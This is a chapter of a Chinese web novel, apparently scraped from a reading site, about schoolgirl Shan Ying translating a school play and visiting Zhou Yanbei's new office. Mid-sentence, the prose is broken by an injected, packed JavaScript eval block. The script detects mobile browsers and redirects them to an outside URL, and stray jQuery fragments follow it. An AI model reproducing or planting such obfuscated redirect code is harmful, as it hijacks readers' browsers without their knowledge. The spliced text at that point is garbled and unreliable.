「当然，全世界的水都会重逢，北冰洋与尼罗河会在湿云中交融。这古老美丽的比喻让此刻变得神圣。


    即使漫游，每条路都会带我们回家。」——赫尔曼?黑塞《克林索尔的最后夏天》


    -


    海城四季分明，立春时节还算寒冬腊月，至春分，外头很快已经有了些春暖花开的气息。


    新学期开学。


    单潆进入高二下。


    甫一开学，各科老师就开始耳提面命，纷纷给学生们敲响警钟。


    “还有最后半年你们就要正式进入高三了，别再当高考还很远的样子，每天没心没肺地玩来玩去的。现在就是高中最关键的时期，新课两三个礼拜就要上完，后面就是第一轮复习，第一轮弄好，高三才不会太辛苦，知道吗？”


    “咱们班这些同学里，应该还没有拿到保送资格的吧？我们和竞赛班那些有竞赛加分的孩子不一样，我们还是要靠高考的，不能觉得无所谓差不多学会了就行，后面还有一年半，未知数很多的。……我看有些同学已经在打哈欠了，寒假里睡懒觉习惯了，还没回过劲儿来是吧？越是这种时候，越不能松懈下来！”


    “班主任应该给大家开过会了吧？废话我也不多说了，从这个学期开始，我们数学课的安排就是每周一次模拟测，安排在周五早上两节课。中午午休的时候我会把考卷批出来，谁考得不好，谁不认真对待，下午正好直接请家长来一趟。”


    “……”


    如此几轮敲打过后，班上的气氛跌入谷底。


    过年长假兴奋的余韵瞬间消失殆尽。


    好不容易挨到下课铃响。


    舒黛如丧考妣，仿佛连坐直身体的力气都没了，径直趴到桌上，唉声叹气起来：“完了完了，我数学最不稳定了，看来我爸妈即将成为学校的常客……真烦！单单，咱们的命好苦啊！”


    单潆笑了笑，从口袋里摸出个大白兔奶糖，塞给她。


    “命苦也没办法啊。吃个糖，好歹嘴里能甜一点。”


    舒黛“哈哈”干笑两声，“这是什么冷笑话吗？还是谐音梗？感觉不太好笑。”


    不过，想到另一件即将开始的活动，她很快又振作起来。


    “这次校庆，听说咱们几个班要联合出个舞台剧呢。怎么还不到四月份！好期待啊！”


    海城实验学校算不上老校，其实没多少年历史。


    毕竟是民办高中，本身就是应试教育规则下的产物。


    不过，高中到底不是大学，还轮不上拼底蕴的环节。


    资金充沛，师资优良，升学率遥遥领先，生源一届比一届更好，学校早已走上了良性循环。


    之前的毕业生里，出过不少在各行各业小有名气的人物。


    为了打开更多知名度，海实筹划今年要搞一次校庆，邀请一些优秀毕业生回来演讲。


    届时，校园会完全开放。


    毕业校友、学生家长，外加有兴趣报名入学的初中学生和家长，都可以来学校里参观，一起参加校庆当天的活动。


    匆匆把时间确定在五月前，大概也是为了下一届招生。


    对高二学生来说，这也是一次可以用来放风的活动，弥足难得。


    海实对外提倡素质教育，是不缺钱的私立高中，学校里各种各样的活动不少，但学生的时间却有限。


    高考像座压在肩膀上的大山，让人没法真正松懈下来。


    现在，有这种正义名目来甩脱繁重课业，谁能不兴奋参与其中呢？


    舒黛信誓旦旦：“我要报名参加！”


    单潆一向相当捧场，“加油！你一定行！”


    舒黛：“什么我行不行的，单单，你要陪我一起去啊！到时候我们俩一块儿去排练咯，要不然我一个人多无聊啊。”


    “……”


    想象总是很美好，现实却没那么顺利。


    这种要在校庆表演的舞台剧，面向所有人，等同于学校的脸面功夫，不是谁想上都能上的，需要通过学校老师和校文艺部层层筛选。


    舒黛和单潆两人都没有表演经验，之前也没有参加相关社团，懵懵懂懂什么都不懂。


    毫无疑问，第一轮就被淘汰下来。


    不过，因为人手紧缺，她们也被拉去帮忙做幕后工作。


    这次要表演的舞台剧目，是经典得不能更经典的《雷雨》。


    并且，是全英文对白改编版。


    单潆和舒黛被分配到了去翻译剧本，一个人负责翻译一个角色的台词，将原版中文改译成英语，原意不变，还要求符合口语用法，不能太书面太生硬，最好有点美感。


    舒黛英语底子很好，这种工作堪称手到擒来。


    相


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112082|193287||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    比之下，单潆基础薄弱，就翻得艰难很多。


    字斟句酌还不够，有些比较晦涩的部分，还得查字典外加翻译器比照，难免令人焦头烂额。


    这么一连弄了两周多，才算渐渐上手。


    ……


    转眼，时间进入三月下旬。


    忙忙碌碌中，周燕北他们公司已经悄无声息地搬家结束。


    恰逢周末。


    周燕北依照约定，开车带单潆去新办公室参观。


    新公司在CBD，临着江边，是寸土寸金的地界。


    周边各种地标高楼鳞次栉比，景致非凡。


    他们租了顶楼两层，下层办公，上层就留给仨老板一人一间办公室，外加接待室和两个会议室，宽敞阔绰。


    单潆跟着周燕北走进去，一眼就爱上了这个地方。


    她忍不住惊叹：“哇！好漂亮！”


    周燕北的办公室有一整面落地玻璃，从里面往外望，陡然间，仿佛整座海城的繁华奢靡都尽在脚下。


    连往日觉得高不可攀的高楼大厦，都只露出楼顶一点点，其余部分则悉数陷入云雾缭绕之中，忽明忽灭，不可窥见。


    这是和在大山山顶往下看时，截然不同的感觉。


    周燕北站在单潆身后，见她惊喜地趴在玻璃上，忍不住牵了牵唇，调侃道：“阿潆这么喜欢啊。那看来选对了。”


    单潆扭过脸，轻声开口：“站在这里，好像会一下子生出很多远大的目标和理想。”


    站高望远，古人诚不欺人。


    在特定的情境之下，出人头地的念头会变得比任何时候都要强烈。


    周燕北：“哦？那你现在生出什么理想了？说来听听。”


    单潆摇摇头，“我还没想好。不过最近的目标是先把剧本翻译好。”


    剧本是舞台剧的基本，她这边如果没做好，后面会引起一连串蝴蝶效应，影响所有人。


    所以，必须要尽善尽美才好。


    小姑娘责任感很强，周燕北便贴心地将自己的办公桌让给她。


    “你先写，我还有点事，晚点带你去吃饭。”


    单潆乖巧点头，“好。”


    周燕北笑笑，摸了摸口袋，在桌上放下一把糖，又给她点了奶茶水果，关门离开。


    【半更】


    后面还有一半！！